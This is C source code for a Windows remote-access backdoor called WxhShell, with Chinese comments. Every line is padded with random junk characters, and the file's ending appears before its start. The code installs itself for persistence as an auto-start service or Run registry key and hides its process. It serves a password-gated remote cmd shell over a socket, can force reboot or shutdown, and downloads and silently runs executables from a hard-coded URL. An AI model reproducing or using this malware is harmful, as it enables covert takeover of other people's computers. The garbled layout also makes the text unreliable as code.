    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8t0i j  
    if(Boot(SHUTDOWN)) rS)7D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w.^k':,"  
    else { Z*jhSy  
    closesocket(wsh); ely&'y!  
    ExitThread(0); wp.'M?6`L  
    } m6+2r D  
    break; PY)C=={p  
    } si%f.A#  
  // 获取shell F''4j8  
  case 's': { z8vF QO\I"  
    CmdShell(wsh); FSc7 30rM  
    closesocket(wsh); P^VV8Z>\&  
    ExitThread(0); HgduH::\#  
    break; *l_1T4]S  
  }  2Np9*[C  
  // 退出 0z.`  
  case 'x': { x/bO;9E%U4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AUzJ:([V  
    CloseIt(wsh); ww+XE2,  
    break; bZERh:%o  
    } PN+,M50;1  
  // 离开 nLdI>c9R  
  case 'q': { };29'_.."x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k&yy_r   
    closesocket(wsh); {K_YW  
    WSACleanup(); /0Zwgxt4?7  
    exit(1); j$N`JiKM  
    break; |44CD3A%  
        } ++Az~{W7  
  } gaTI:SKzc  
  } h#;fBQ]   
\AkeC6[D  
  // 提示信息 E2!;W8M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vE6/B"b  
} V u;tU.  
  } &..'7  
WoesE:NiR  
  return; W53i5u(  
} 0y2iS' t  
ikyvst>O  
// shell模块句柄 * RN*Bh|$  
int CmdShell(SOCKET sock) P0}uTee  
{ +%'0;  
STARTUPINFO si; g&riio7lx  
ZeroMemory(&si,sizeof(si)); T~`m'4"+c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u+XZdV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -%%2Pz0I  
PROCESS_INFORMATION ProcessInfo; 9QWS[E4  
char cmdline[]="cmd"; &eK8v]|"W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -`f JhQ|  
  return 0; T"dWrtO  
} )]X_')K  
}w"laZ*  
// 自身启动模式 lZ/Yp~2S  
int StartFromService(void) Kax85)9u  
{ %8hhk]m\b>  
typedef struct wU?2aXY  
{ RHVMlMX  
  DWORD ExitStatus; W#-M|  
  DWORD PebBaseAddress; F-UY~i8  
  DWORD AffinityMask; %|l*=v  
  DWORD BasePriority; Wa ,[#H  
  ULONG UniqueProcessId; _2U1$0xK  
  ULONG InheritedFromUniqueProcessId; |/YT.c%  
}   PROCESS_BASIC_INFORMATION; =GFlaGD  
|w:7).P  
PROCNTQSIP NtQueryInformationProcess; ]U'KYrh  
DQKhR sC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "sL#)<%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J&{E  
 Ur]5AJ  
  HANDLE             hProcess; 9K FWa0G  
  PROCESS_BASIC_INFORMATION pbi; olQ;XTa01F  
k\zNh<^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >E[cl\5$E  
  if(NULL == hInst ) return 0; 6M259*ME  
j YO #  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v3.JG]zLpP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eUx|_*`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y~fds#y0  
S(9fGh  
  if (!NtQueryInformationProcess) return 0; ]e)<CE2   
#}e)*(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Fp"]z!Qh+  
  if(!hProcess) return 0; '.d el7s  
Y/)>\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jr\4x7a;`~  
v=9:N/sW  
  CloseHandle(hProcess); ,%>/8*  
$+:_>n^#/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FW=oP>f]w  
if(hProcess==NULL) return 0; AqE . TK  
/,GDG=ra  
HMODULE hMod; sh E>gTe  
char procName[255]; </qXKEu`_  
unsigned long cbNeeded; CbI[K|  
z1(rHJd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M nH4p  
g^4'42UX  
  CloseHandle(hProcess); sq-[<ryk  
Dgp"RUP  
if(strstr(procName,"services")) return 1; // 以服务启动 QTtcGU  
ewY+a , t  
  return 0; // 注册表启动 ^MQ7*g6o  
} lN{-}f;TN  
/m.6NVu7  
// 主模块 co@Q   
int StartWxhshell(LPSTR lpCmdLine) <_ddGg~  
{ @<AyCaU`.  
  SOCKET wsl; *,@dt+H!y  
BOOL val=TRUE; ~Ci|G3BW  
  int port=0; F|%[s|s  
  struct sockaddr_in door; fZT=q^26  
^Shz[=fd  
  if(wscfg.ws_autoins) Install(); @ 5|F:J  
nOp\43no  
port=atoi(lpCmdLine); BWfsk/lej  
WPpl9)Qc  
if(port<=0) port=wscfg.ws_port; }\P9$D+  
!NjC+ps]  
  WSADATA data; I tp7X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lc0^I<Y  
"P"~/<:)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?_}[@x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $>]7NTP  
  door.sin_family = AF_INET; bC)d iC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "*XR'9~7  
  door.sin_port = htons(port); "qR qEpD%  
"4oY F:h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ej8EQ% P  
closesocket(wsl); /wH]OD{  
return 1; iK= {pd  
} 1[:?oEI  
I[@}+p0  
  if(listen(wsl,2) == INVALID_SOCKET) { N[ z7<$$  
closesocket(wsl); / ~w\Npf0  
return 1; Nt'(JAZ;  
} G8Ns?  
  Wxhshell(wsl); y]+i. 8[  
  WSACleanup(); aQ46euth  
b P4R  
return 0; &0*j nb  
x.xfMM2n  
} +8v^J8q0  
^e8~eL+  
// 以NT服务方式启动 ` SZ^~O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j%#n}H  
{ <p-R{}8  
DWORD   status = 0; E+]gC  
  DWORD   specificError = 0xfffffff; `N]!-=o  
iRBUX`0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^CDQ75tR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !#5RP5,,Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gt2NUGU  
  serviceStatus.dwWin32ExitCode     = 0; Qf6Vj,~N  
  serviceStatus.dwServiceSpecificExitCode = 0; gle_~es'K  
  serviceStatus.dwCheckPoint       = 0; CES^ c-. k  
  serviceStatus.dwWaitHint       = 0; 7=aF-;X3jj  
S XIo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wg3y y8vIW  
  if (hServiceStatusHandle==0) return; `Q' 0l},  
5BN!uUkm+  
status = GetLastError(); ggzg, ~V  
  if (status!=NO_ERROR) Y2"X;`<  
{ LIT{rR#8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gp6|M2Vu_5  
    serviceStatus.dwCheckPoint       = 0; b(wW;C'#0p  
    serviceStatus.dwWaitHint       = 0; 1I<D `H%  
    serviceStatus.dwWin32ExitCode     = status; D[-V1K&g  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^} %Oq P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ))K3pKyb  
    return; :{E;*v_!v  
  } Dny5X.8  
V{HP8f91  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -WWa`,:  
  serviceStatus.dwCheckPoint       = 0; R0B\| O0Uv  
  serviceStatus.dwWaitHint       = 0; 2E9Cp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WSz#g2a  
} xrFFmQ<_W  
)}0(7z Yu  
// 处理NT服务事件,比如:启动、停止 cz~Fz;)2{N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ] bz']`  
{ %V%*0S|U  
switch(fdwControl) }q^M  
{ `b=?z%LuT  
case SERVICE_CONTROL_STOP:  W>.KV7  
  serviceStatus.dwWin32ExitCode = 0; PmZ-H>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K.Nun)<  
  serviceStatus.dwCheckPoint   = 0; 7hlgm7 ^  
  serviceStatus.dwWaitHint     = 0; n{s `XyH  
  { [y7BHikX)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !_3R dS  
  } dq+VW}[EO  
  return; 8$xd;+`y'  
case SERVICE_CONTROL_PAUSE: mJ2>#j;5f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y;O\ >o[  
  break; Ghs{B8  
case SERVICE_CONTROL_CONTINUE: C!6?.\U/:c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P:eY>~m<;  
  break; q"7rd?r52  
case SERVICE_CONTROL_INTERROGATE: 66NJ&ac  
  break; U p=J&^.  
}; O8%+5l`T!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d9^ uEz(  
} u 0(H!  
I kv@}^p 7  
// 标准应用程序主函数 $p#)xx7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \dO9nwa?  
{ W3Oj6R  
u,mC`gz  
// 获取操作系统版本 4D=p#KZ  
OsIsNt=GetOsVer(); gXBC= ?jl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q x}\[  
[xe(FFl+  
  // 从命令行安装 g <S&sYF5  
  if(strpbrk(lpCmdLine,"iI")) Install(); L  #c*)  
1S/KT4  
  // 下载执行文件 h; ?=:(  
if(wscfg.ws_downexe) { rtd&WkU rD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xxhzzm-B  
  WinExec(wscfg.ws_filenam,SW_HIDE); 00X~/'!  
} Wnm?a!j5  
UIPi<_Xa  
if(!OsIsNt) { owM3Gz%?UA  
// 如果时win9x,隐藏进程并且设置为注册表启动 biLx-F c  
HideProc(); }SpjB  
StartWxhshell(lpCmdLine); -LI^(_  
} 4iMo&E<  
else \Ld/'Z;w  
  if(StartFromService()) CV&+^_j'k  
  // 以服务方式启动 |)`<D  
  StartServiceCtrlDispatcher(DispatchTable); hfw$820y[  
else X%w`:c&  
  // 普通方式启动 1W*%}!&Gm  
  StartWxhshell(lpCmdLine); VSns_>o  
:$4 atm  
return 0; rG)K?B~  
} /R\]tl#2j  
nQbF~   
"5:^aC]  
b{q-o <Q  
=========================================== b|F4E{{D^  
g$$i WC!S<  
M#ED49Dh>  
D_mdX9-~  
U-!+Cxjs  
8s^CE[TA  
" l-4+{6lz  
fP<Tvf  
#include <stdio.h> iG*@(  
#include <string.h> G>"=Af(t?Y  
#include <windows.h> ?XOl>IO  
#include <winsock2.h> 0*G =~:  
#include <winsvc.h> 6?GR+;/  
#include <urlmon.h> UolsF-U}'  
u By[x 0  
#pragma comment (lib, "Ws2_32.lib") \[u7y. b  
#pragma comment (lib, "urlmon.lib") =M39I&N  
l`"i'P   
#define MAX_USER   100 // 最大客户端连接数 {6}H}_( ]  
#define BUF_SOCK   200 // sock buffer \o}m]v i  
#define KEY_BUFF   255 // 输入 buffer Z{&dzc  
+$_.${uwV  
#define REBOOT     0   // 重启 O.OPIQ=?:w  
#define SHUTDOWN   1   // 关机 W\f u0^  
N1dv}!/*.+  
#define DEF_PORT   5000 // 监听端口 B'sgCU  
`?@7T-v  
#define REG_LEN     16   // 注册表键长度 b/^i  
#define SVC_LEN     80   // NT服务名长度 oZVq }}R  
nKxu8YAJe  
// 从dll定义API l@:|OGD;8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Q)9*nHe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qkHdr2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y'n+,g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j'xk [bM  
F<R+]M:fa  
// wxhshell配置信息 fSR+~Vy  
struct WSCFG {  %<[?;  
  int ws_port;         // 监听端口 /4K ^-  
  char ws_passstr[REG_LEN]; // 口令 BF >67 8h  
  int ws_autoins;       // 安装标记, 1=yes 0=no D=ZH? d  
  char ws_regname[REG_LEN]; // 注册表键名 V!^5#A<  
  char ws_svcname[REG_LEN]; // 服务名 :&59N^So|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VAGQR&T?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lmp_8q-Ej  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C|or2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #>[BSgW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .r=F'i}-j*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b9 Gq';o  
 }\ ^J:@  
}; OH+kN /Fd  
c-s A?q#|  
// default Wxhshell configuration qpjG_G5/  
struct WSCFG wscfg={DEF_PORT, .eZsKc-@  
    "xuhuanlingzhe", PRTn~!Z0  
    1, #H8% BZyV  
    "Wxhshell", >s*ZT%TF  
    "Wxhshell", >v\t> [9t  
            "WxhShell Service", g$CWGB*%lm  
    "Wrsky Windows CmdShell Service", RH^!7W*  
    "Please Input Your Password: ", )7`2FLG  
  1, 3fdx&}v/  
  "http://www.wrsky.com/wxhshell.exe", -(ev68'}W  
  "Wxhshell.exe" YoU|)6Of   
    }; %t.L;G  
cZVVJUF  
// 消息定义模块 +c&oF,=}!P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]x12_+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '=eG[#gy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lxVA:tz0  
char *msg_ws_ext="\n\rExit."; APR"%(xD#  
char *msg_ws_end="\n\rQuit."; hv4om+  
char *msg_ws_boot="\n\rReboot..."; 6$.I>8n  
char *msg_ws_poff="\n\rShutdown..."; (-e*xM m  
char *msg_ws_down="\n\rSave to "; 3$TU2-x;g  
BNj@~uC{  
char *msg_ws_err="\n\rErr!"; 4ju=5D];   
char *msg_ws_ok="\n\rOK!"; ;kE|Vx  
Of@ LEEh6  
char ExeFile[MAX_PATH]; \x(ILk|'c  
int nUser = 0; Tl/!Dn  
HANDLE handles[MAX_USER]; ()\=(n!J  
int OsIsNt; v4$"{W;'  
vGIe"$hNh  
SERVICE_STATUS       serviceStatus; &xgKHbg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JA <Hm.V#  
8*$HS.Db'  
// 函数声明 gL/D| =  
int Install(void); v-utDQT3  
int Uninstall(void); D# Gf.c  
int DownloadFile(char *sURL, SOCKET wsh); F4R0A6HL  
int Boot(int flag); "kdmqvTHK0  
void HideProc(void); O5v)}4  
int GetOsVer(void); ' 5F3,/r  
int Wxhshell(SOCKET wsl); ,SZYZ 25  
void TalkWithClient(void *cs); O3*}L2 j@  
int CmdShell(SOCKET sock); vAV{HBQ*  
int StartFromService(void); Kn#CIFbBN  
int StartWxhshell(LPSTR lpCmdLine); C2a2K={  
$eSSW+8q"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); To!` T$Xh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g##yR/L  
1 x'H #  
// 数据结构和表定义 (p?7-~6|:  
SERVICE_TABLE_ENTRY DispatchTable[] = 1*VArr6*6  
{ 2d60o~ E  
{wscfg.ws_svcname, NTServiceMain}, e$t$,3~  
{NULL, NULL} gXb * zt2  
}; FdcmA22k*  
[ 11D7L%1t  
// 自我安装 xj#anr  
int Install(void) =1SG^rp  
{ L\%zNPLS  
  char svExeFile[MAX_PATH]; y$Rh$e K  
  HKEY key; N"zg)MsX  
  strcpy(svExeFile,ExeFile); EvJ<X,Bo  
0e,U&B<W  
// 如果是win9x系统,修改注册表设为自启动 Acl?w }Y  
if(!OsIsNt) { r:~q{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +U^H`\EUr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c|2+J :}p  
  RegCloseKey(key); ^VOA69n>$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -TT{4\%s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Z_2s2`p  
  RegCloseKey(key); &W*do  
  return 0; %p}xW V.  
    } |!?lwBs4  
  } /h v2=A  
} .[Nr2w:>  
else { k>V~ iA  
.Z9{\tj  
// 如果是NT以上系统,安装为系统服务 <t"KNKI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Y*jL&!  
if (schSCManager!=0) 2E$K='H:,  
{ c`agrS:P  
  SC_HANDLE schService = CreateService b+tm[@|,v  
  ( 4R&e5!  
  schSCManager, dm~Uj  
  wscfg.ws_svcname, 6$5?%ZLJ  
  wscfg.ws_svcdisp, xWuvT,^  
  SERVICE_ALL_ACCESS, p\G1O*Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WMXxP gik  
  SERVICE_AUTO_START, zPyN2|iFah  
  SERVICE_ERROR_NORMAL, }9*NEU) o  
  svExeFile, (/^dyG|X'  
  NULL, m2j]wUh"  
  NULL, &0k`=?v$  
  NULL, !;U;5e=0  
  NULL, 87p tab@  
  NULL FE4P EBXvu  
  ); g}gOAN3.  
  if (schService!=0) ? \p,s-CR:  
  { 6BY(Y(z  
  CloseServiceHandle(schService); 9.^2CM6l  
  CloseServiceHandle(schSCManager); QTmMj@R&(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /$=<RUE  
  strcat(svExeFile,wscfg.ws_svcname); qo!6)Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RemjiCE0'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "*HVL  
  RegCloseKey(key); -A(]U"@n  
  return 0; ('oA{,#L  
    } 4DV@-  
  } GWCU 9n  
  CloseServiceHandle(schSCManager); ?d5_{*]+v  
} "59"HVV  
} >^bSjE  
,\'E<O2T  
return 1; y.,li<  
} XQI!G_\+C  
&S9O:>=*  
// 自我卸载 pp1kcrE\M  
int Uninstall(void) \}EJtux q  
{ q!Q*T^-rO  
  HKEY key; i0g/'ZP  
I2^@>/p8\(  
if(!OsIsNt) { F [S'l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Prqr,  
  RegDeleteValue(key,wscfg.ws_regname); SG{&2G  
  RegCloseKey(key); Mq Q'Kjo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NhRKP"<CO  
  RegDeleteValue(key,wscfg.ws_regname); bS&XlgnKi  
  RegCloseKey(key); W@p27Tiq  
  return 0; Dwbt^{N ^  
  } |,lw$k93  
} n^2'O:V s  
} =j^wa')  
else { rL23^}+^`  
g=Bge)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1{$=N 2U  
if (schSCManager!=0) )F3>  
{ rvRIKc|}l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Z_?7J&z  
  if (schService!=0) 9|x{z  
  { * amZ  
  if(DeleteService(schService)!=0) { "YoFUfaNg  
  CloseServiceHandle(schService); Z11I1)%s  
  CloseServiceHandle(schSCManager); }:1*@7eR  
  return 0; 6SP!J*F  
  } ['DYP-1J  
  CloseServiceHandle(schService); fIii  
  } D22jWm2  
  CloseServiceHandle(schSCManager); UYkuz  
} U`kO<ztk  
} VX,@Gp_'m  
Sp./*h\}  
return 1; "Ax#x  
} ofy)}/i  
wY{!gQ  
// 从指定url下载文件 6>F1!Q  
int DownloadFile(char *sURL, SOCKET wsh) miEf<<L#z  
{ >d<tcaB  
  HRESULT hr; <hB~|a<#  
char seps[]= "/"; 9HG"}CGZP  
char *token; U!i@XA%P  
char *file; $&KiN82,  
char myURL[MAX_PATH]; k56*eEc  
char myFILE[MAX_PATH]; i/aj;t  
o!sHK9hvJ)  
strcpy(myURL,sURL); TSKR~3D#  
  token=strtok(myURL,seps); ^.u J]k0  
  while(token!=NULL) 5@yBUwMSj  
  { >e^8fpgSo  
    file=token; x>[f+Tc  
  token=strtok(NULL,seps); C3-I5q(V]  
  } tr$d?  
GEZ!z5";BQ  
GetCurrentDirectory(MAX_PATH,myFILE); n{E9p3i  
strcat(myFILE, "\\"); =0_((eXwf  
strcat(myFILE, file); aB)G!Rm&  
  send(wsh,myFILE,strlen(myFILE),0); z18<rj  
send(wsh,"...",3,0); IIUTo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XBN,{  
  if(hr==S_OK) oG' 'my#3  
return 0; =0mXTY1  
else A"Sp7M[J  
return 1; R~N'5#.*M  
4$Ud4<  
} 2,e>gP\]  
!DZ4C.  
// 系统电源模块 T~)zgu%q_  
int Boot(int flag) +W#["%kw  
{ NY\-p=3c7=  
  HANDLE hToken; [WBU _  
  TOKEN_PRIVILEGES tkp; L]3gHq  
#p/'5lA&j  
  if(OsIsNt) { t[%ELHV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (k24j*1e$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &n9 srs  
    tkp.PrivilegeCount = 1; 0s%]%2O N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C)|#z/"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o{xA{ @<  
if(flag==REBOOT) { z.0!FUd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i$dF0.}Q  
  return 0; 3TF'[(K=  
} p ^U#1c  
else { aT}?-CUxx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S@6 :H"  
  return 0; fp'%lbk=  
} BTa#}LBZ+  
  } &d&nsQ  
  else { N7}y U~j^  
if(flag==REBOOT) { W=zp:6Z~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dY'>'1>P 9  
  return 0; }(v <f*7=n  
} R\:t 73  
else { t2#zQ[~X!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~[`*)(4E  
  return 0; `fUP q ;  
} N3o kN8d  
} W;ADc2#)  
%\?Gzc_  
return 1; [Ontip  
} ~)%DiGW&  
t0+D~F(g  
// win9x进程隐藏模块 ^ Mw=!n[  
void HideProc(void) '~OKt`SfIo  
{ T8\%+3e.  
# PZBh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kYU!6t1  
  if ( hKernel != NULL ) x qLIs:*  
  { uoe>T:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T[]kun  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m_,j)A%  
    FreeLibrary(hKernel); <7yn:  
  } sZYTpZgW4L  
Ng+Ge5C9  
return; i=j4Wg,{J  
} .p /VRlLU  
+e( (!  
// 获取操作系统版本 `]m/za%7  
int GetOsVer(void) H`Ld,E2ex&  
{ r:9H>4m  
  OSVERSIONINFO winfo; O:Ob{k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w"?E=RS  
  GetVersionEx(&winfo); l527>7 eT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iYl$25k/1  
  return 1; @d_;p<\l  
  else qwDoYy yu  
  return 0; 62{[)jt{  
} ?%RR+(2m  
~.f[K{h8  
// 客户端句柄模块 Q2K)Nl >_  
int Wxhshell(SOCKET wsl) q<!Kt I4  
{ 2-.%WhE/  
  SOCKET wsh; }*3#*y "  
  struct sockaddr_in client; wVY;)1?  
  DWORD myID; "U%jG`q  
7T@"2WYat  
  while(nUser<MAX_USER) ~AG."<}  
{ \|q.M0  
  int nSize=sizeof(client); W5a>6u=g,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TM?7F2  
  if(wsh==INVALID_SOCKET) return 1; XIJ{qrDr  
P'q . _U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `8N],X  
if(handles[nUser]==0) <|_b:  
  closesocket(wsh); :z}  
else M}W};~V2ng  
  nUser++; tx{tIw^2;  
  } i=8){G X4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V0'_PR@;  
&yQM 8J~  
  return 0; I0]"o#Lj T  
} }c-tvK1g  
?L~Z]+-  
// 关闭 socket 1q(o3%   
void CloseIt(SOCKET wsh) y6 !Zt}m  
{ txW<r8  
closesocket(wsh); .3*VkAs  
nUser--; UON W3}-  
ExitThread(0); ."\&;:ZNv  
} =*?2+ ;  
k7ODQ(*v  
// 客户端请求句柄 =D6H?K-k!  
void TalkWithClient(void *cs) 4*aNdh[t.  
{ @C fxPA  
l\Or.I7n  
  SOCKET wsh=(SOCKET)cs; yNu%D$6u7  
  char pwd[SVC_LEN]; J>Uzd, /  
  char cmd[KEY_BUFF]; i&dMX:fRd  
char chr[1];  %Jc>joU  
int i,j; x#s=eeP1  
VIjsz42C  
  while (nUser < MAX_USER) { |xQq+e}l<  
M`kR2NCi  
if(wscfg.ws_passstr) { ,"!P{c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6X.lncE@p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *|DIG{  
  //ZeroMemory(pwd,KEY_BUFF); :g[G&Ds8  
      i=0;  zOnQ656  
  while(i<SVC_LEN) { >{]mN5  
qg;f h]j%  
  // 设置超时 _Ak?i\  
  fd_set FdRead; Bz#K_S  
  struct timeval TimeOut; 63?fn~0\  
  FD_ZERO(&FdRead); MJ:>ZRXC E  
  FD_SET(wsh,&FdRead); $@blP<I  
  TimeOut.tv_sec=8; K?o}B  
  TimeOut.tv_usec=0; 4x JOPu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4SqZ V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e!(0y)*  
fC4 D#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @|^2 +K/  
  pwd=chr[0]; \Ow-o0  
  if(chr[0]==0xd || chr[0]==0xa) { bUp ,vc*  
  pwd=0; ?>p<!:E!r  
  break; 2W=( {e)$  
  } 6:Nz=sw8  
  i++; cn4C K. ?  
    } G;%Pf9 o26  
6T_Mk0Sf+  
  // 如果是非法用户,关闭 socket buhn~ c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F" -w  
} @9QtK69  
Bjz\L0d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s2@}01QPo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sgn,]3AUq  
{&Fh$H!  
while(1) { wZECG-jr/  
S)0bu(a`Z,  
  ZeroMemory(cmd,KEY_BUFF); t;@VsQ8  
 Y@S?0  
      // 自动支持客户端 telnet标准   /WVnyz0  
  j=0; |WB<yA1  
  while(j<KEY_BUFF) { MKdBqnM(F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZN2g(  
  cmd[j]=chr[0]; t_q`wKDE  
  if(chr[0]==0xa || chr[0]==0xd) { nJ|8#U7  
  cmd[j]=0; .wD>0Ig  
  break; #(53YoV_8  
  } "kKIVlC  
  j++; 6SMGXy*]^  
    } e_wz8]K)n  
}V3p <  
  // 下载文件 Qj? G KO  
  if(strstr(cmd,"http://")) { IA|V^Wmt;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pX]*&[X?  
  if(DownloadFile(cmd,wsh)) {37DrSOa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  S< <xlW  
  else |*N.SS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OjCT*qyU<  
  } z+1#p.F$@  
  else { QY2!.a^q  
<=V2~ asB  
